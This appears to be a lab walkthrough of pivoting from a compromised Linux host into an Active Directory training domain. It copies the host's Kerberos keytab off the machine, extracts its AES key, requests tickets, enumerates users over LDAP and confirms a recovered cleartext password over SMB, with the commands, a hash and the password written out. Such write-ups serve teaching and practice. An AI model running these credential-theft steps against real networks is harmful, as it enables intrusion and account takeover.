Pivoting from Linux to Active Directory

Pivoting from Linux to Active Directory

1. Post-Exploitation Enumeration

Once root access is achieved, the goal shifts to finding links to the Active Directory (AD) environment.

• Bash History: Checked /root/.bash_history and /home/ubuntu/.bash_history. No sensitive commands or cleartext credentials were found.

• Service Analysis: A script vone.sh was found, which likely automated the Jenkins setup, but it provided no AD pivot.

---

2. Identifying the Pivot: Kerberos Keytabs

Since the Ubuntu machine does not have an obvious domain user logged in, we look for Kerberos configurations that allow the machine or services to talk to the Domain Controller (DC).

2.1 Locating Keytabs

Keytab files store Kerberos "principals" (user or service accounts) and their encrypted keys. They allow services to authenticate without a manual password.Discovery Command:

ls /etc/krb5*

• /etc/krb5.conf: The Kerberos configuration file. It contains the AD Realm (ANOMALY.HSM) and the DC hostname (anomaly-dc.anomaly.hsm).

• /etc/krb5.keytab: The encrypted file containing credentials.

---

3. Extracting Keytab Data

First we need to download the keytab file

scp [email protected]:/etc/krb5.keytab .

Keytab files are binary and encrypted. To see what's inside, we use a tool like KeyTabExtract.

Tool Usage:

wget https://raw.githubusercontent.com/sosdave/KeyTabExtract/master/keytabextract.py

python3 keytabextract.py krb5.keytab

REALM : ANOMALY.HSM
SERVICE PRINCIPAL : Brandon_Boyd/
AES-256 HASH : f9754c5288b844eb86054695b2c12b93716f57c41d26325c1a994e12bbbeff52

Results of Extraction:

• Realm: ANOMALY.HSM

• Service Principal: [email protected]

• Encryption Type: AES-256

• Note: While NTLM hashes weren't extracted, the AES-256 key acts as the user's password for Kerberos authentication.

---

4. Setting Up the Pivot Environment

To use these credentials from an attacker machine (Kali), you must "tell" your OS how to find the domain.

4.1 Update /etc/hosts

Map the IP found in previous parts to the Domain Controller's Full Qualified Domain Name (FQDN).

10.1.234.184  anomaly-dc.anomaly.hsm anomaly-dc

4.2 Configure /etc/krb5.conf

Ensure your local Kerberos configuration matches the target domain. Copy from the ubuntu machine

[libdefaults]

 default_realm = ANOMALY.HSM

 dns_lookup_realm = true

 dns_lookup_kdc = true



[realms]

 ANOMALY.HSM = {

  kdc = Anomaly-DC.anomaly.hsm

  admin_server = Anomaly-DC.anomaly.hsm

 }



[domain_realm]

 .anomaly.hsm = ANOMALY.HSM

 anomaly.hsm = ANOMALY.HSM

Pivoting from Linux to Active Directory

1. Environment Setup (Kali Linux)

To use Kerberos tickets on a non-domain-joined Linux machine, specific tools and configurations are required.

1.1 Installing Kerberos Clients

The kinit utility is not always installed by default. On Debian-based systems (like Kali), it is part of the krb5-user package.

Command: sudo apt install krb5-user

1.3 Updating /etc/hosts

Ensure your machine can resolve the Domain Controller's hostname.

Action: Add the following line to /etc/hosts:

10.1.234.184  anomaly-dc.anomaly.hsm anomaly-dc

Common Pitfall: Ensure the IP address is for the Domain Controller, not the web server.

---

2. Kerberos Authentication

2.1 Generating a Ticket with kinit

Use the keytab file found on the Ubuntu server to request a Ticket Granting Ticket (TGT) without a password.Command:

kinit -kt krb5.keytab [email protected]

• -kt: Specifies the path to the keytab file.

• [email protected]: The Kerberos principal (Case-sensitive, Realm must be uppercase).

2.2 Verifying the Ticket

Command: klistThis command displays your active Kerberos tickets. Look for a krbtgt ticket for the ANOMALY.HSM realm.

---

3. AD Enumeration via LDAP

3.1 Exporting the Cache

To use the ticket with tools like netexec or impacket, you must point the environment variable to your ticket cache.Command:

export KRB5CCNAME=/tmp/krb5cc_1000
# Path may vary; check klist output

3.2 Hunting for Credentials in Descriptions

Active Directory objects often have a "Description" field. Administrators occasionally leave passwords or sensitive notes here.

nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --use-kcache

So i can authenticate successfully.

Command (using NetExec):

nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --users --use-kcache

• -k: Use Kerberos authentication.

• --users: Enumerates all domain users and their details.

**Findings:**A cleartext password for Brandon Boyd was discovered in his own account's description field.

Password is here

3edc4rfv#EDC$RFV 

---

4. Verification of Credentials

Once a cleartext password is found, verify it against other services like SMB to confirm access levels.Command:

netexec smb anomaly-dc.anomaly.hsm -u 'brandon_boyd' -p '3edc4rfv#EDC$RFV' --shares

Result: Authenticated. Access to standard shares (SYSVOL, NETLOGON) confirmed.